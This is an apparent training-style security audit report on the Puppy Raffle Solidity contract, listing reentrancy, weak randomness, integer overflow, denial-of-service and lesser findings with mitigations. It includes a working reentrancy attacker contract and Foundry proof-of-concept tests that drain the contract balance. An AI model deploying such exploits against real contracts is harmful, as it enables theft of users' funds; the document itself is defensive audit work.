Raffle Audit Report

Version 1.0

RPP Audits

January 3, 2024

Puppy Raffle Audit Report

Nikhil Pandey

Jan 3, 2023

Prepared by: Nikhil
Lead Security Researcher:
- Nikhil Pandey

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:

    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Nikhil's team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 0804be9b0fd17db9e2953e27e9de46585be870cf

Scope

```
./src/
#--  PuppyRaffle.sol
```

Roles

- ‘Owner“ - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- `Player` - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Codebease was good i loved audit this code base. Enjoyed the time with raffle team

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Total	13

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allow entrant to drain raffle balance

Description: The `PuppyRaffle:refund` does not follow CEI (Checks, Effects, Interactions) and a result enable participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that external call we do update the PuppyRaffle::players array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        ↪  can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
        ↪  refunded, or is not active");

@>          payable(msg.sender).sendValue(entranceFee);

@>          players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participants.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund 3. Attacker enters the raffle 4. Attacker calls PuppyRaffle::refund from their attack contract draining the contract balance.

Proof of Code

Code

Place the following into PuppyRaffleTest.t.sol

```
function test_reentrancyRefund() public{

        uint256 NoPlayers = 6;
        uint256 fee = NoPlayers *entranceFee;
        uint256 attackerFee = entranceFee*2;
        uint256 initialAttackerContractBalance = 10 ether;

        ReentrancyAttacker attacker = new
↪   ReentrancyAttacker(address(puppyRaffle));

        address[] memory players = new address[](6);

        for(uint56 i=0;i<NoPlayers;i++){
            players[i] = address(i);
```

```
        }

        puppyRaffle.enterRaffle{value: fee}(players);

        uint256 balanceBefore = address(puppyRaffle).balance;


        vm.startPrank(address(attacker));
        vm.deal(address(attacker), initialAttackerContractBalance);
        address[] memory attackerSquad = new address[](2);
        attackerSquad[0] = address(7);
        attackerSquad[1] = address(attacker);

        puppyRaffle.enterRaffle{value: attackerFee}(attackerSquad);
        uint256 indexOfAttacker =
↪   puppyRaffle.getActivePlayerIndex(address(attacker));

        puppyRaffle.refund(indexOfAttacker);
        uint256 balanceAfter = address(puppyRaffle).balance;

        assertEq(address(attacker).balance, balanceBefore +
        ↪  initialAttackerContractBalance);
        assertEq(balanceAfter, 0);
    }
```

And this is contract as well

```
contract ReentrancyAttacker is Test {
    PuppyRaffle public victim;
    constructor(address _victim){
        victim = PuppyRaffle(_victim);
    }

    function withdraw() internal {
        uint256 playerIndex = victim.getActivePlayerIndex(address(this));
        victim.refund(playerIndex);
    }

    receive() external payable {
        if(address(victim).balance > 0.1 ether){
            withdraw();
        }
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle:rafund` function updte the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
↪   can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
↪   refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not good random number. Malicious user can manipulate these values or know them ahead of time to choose the winner of th raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Makingt the entire raffle worthless if it becomes a gas war as to who wins the raffles

Proof of Concept: 1. Validators can know ahead of the time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on pravrandao. `block.difficulty` was recently was recently replaced with prevrandao. 2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner! 3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subjected to integer overflows.

```
uint64 myVar = type(uint64).max
//18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feedAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 player 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 8e18 + 7e18;
//and this will be overflowed
totalFees = 1532557823578927523
```

4. You will not able to withderaw, due to the line in `PublicRaffle::withdrawFees`;

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
↪  There are currently players active!");
uint256 feesToWithdraw = totalFees;
```

Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
```

```
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);


        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We will also unable to withdraw any fees because of the require
        ↪  check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
↪  active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `puppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin to prevent overflows
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
↪  There are currently players active!");
    uint256 feesToWithdraw = totalFees;
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Title Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denialof services (Dos) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` functions loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for the player who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
                ↪  player");
            }
        }
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrance in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 1000 players enter, the gas costs will be as such: - 3619501644

This will be very expensive

Poc Place the following test into `PuppyRaffleTest.t.sol`.

```
function testDosAttack() public {

        vm.txGasPrice(1);
        address[] memory temporaryAddressArray = new address[](3000);
        for(uint128 i=0;i<3000;i++){
            string memory addr = string(abi.encode(i));
            temporaryAddressArray[i] = makeAddr(addr);
        }
        uint256 entranceFee3 = puppyRaffle.entranceFee();
        uint256 value = (temporaryAddressArray.length)*entranceFee3;
        uint256 gasStart = gasleft();
```

```
        puppyRaffle.enterRaffle{value:value}(temporaryAddressArray);
        uint256 gasEnd = gasleft();
        console.log(gasStart-gasEnd);
    }
```

Recommended Mitigation:

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so duplicate check does'nt prevent the same
2. Consider using a mapping to check for duplicates. This would allow constant time look up of whether a user has already entered.

```
    mapping(address => uint256) public addressToRaffleId;
    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.lenght,"PuppyRaffle:
↪   Must send enough to enter raffle");
        for (uint256 i=0; i<newPlayers.length; i++){
-           players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       //Check for duplicates
+       // Check for duplicates only from the new players
+       for(uint256 i=0;i<newPlayers.length;i++){
+           require(addressToRaffleId[newPlayers[i]] != raffleId,
↪   "PuppyRaffle: Duplicate player");
+       }

-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate
↪   player");
-           }
-       }
+       emit RaffleEnter(newPlayers);
        .
        .
        .
            function selectWinner() external {
```

```
                raffleId = raffleId+1;
                require(block.timestamp >= raffleStartTime +
↪  raffleDuration, "PuppyRaffle: Raffle not over");
            }
    }
```

Alterantively, you could use [OpenZeppelin's `EnumerableSet` library]

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` will block the start of new contest

Description: The `PuppyRaffle::selecetWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery result could get very challenging

Also, true winners would not get paid out and someone else could take their money!

Impact: The `PuppyRaffle::selectWinnner` function could revert many times, making a lottert reset difficult.

Proof of Concept: 1. 10 Smart contract wallets enter the lottery without a fallback or receive function 2. The lottery ends. 3. The `selcetWinner` function would'nt work, even though the lottery is over!

Recommended Mitigation: There are fewn options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amount so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize.(Recommended)(PULL OVER PUSH)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant user and for palyer at index 0, causing a player at index 0 to incorrectly think they have not etered raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to natspec it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
    ↪  (uint256) {
        /// @return the index of the player in the array, if they are not
        ↪  active, it returns 0
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
            return 0;
        }
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to raffle again, wasting gas.

Proof of Concept: 1. First User Enter the raffle 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks have not entered correctly due to function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not the participant

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from constant and immutable variables

Instances: `PuppyRaffle::raffleDuration` should be `immutable` `PuppyRaffle::commonImageUri` should be `constant` `PuppyRaffle::rareImageUri` should be `constant` `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

```
+    uint256 playerLength = players.length+
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLength; j++) {
```

```
                require(players[i] != players[j], "PuppyRaffle: Duplicate
↪  player");
            }
        }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  solidity
  pragma solidity ^0.7.6;
  ```

  Instead, use this

  ```
  solidity
  pragma solidity 0.7.6;
  ```

[I-2]: Using outdated version of Solidity is not recommended.

Please use newer version like `0.8.18`

Recommendation Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 67

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 181

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 207

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI(Checks, Effects, Interactions)

"'diff

- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
  _safeMint(winner, tokenId);
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");

"'

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

The contract incorporates events to log specific occurrences or state changes. While this is a commendable practice for transparency and debugging, the events lack the use of the 'indexed' keyword

Examples:

```
    emit FeeAddressChanged(address newFeeAddress);
```

Instead, you could use:

```
    emit FeeAddressChanged(address indexed newFeeAddress);
```

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

The function _isActivePlayer is a internal function which is never been used, by removing it we can save gas and make our code more effective.

```
    function _isActivePlayer() internal view returns (bool) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == msg.sender) {
                return true;
            }
        }
        return false;
    }
```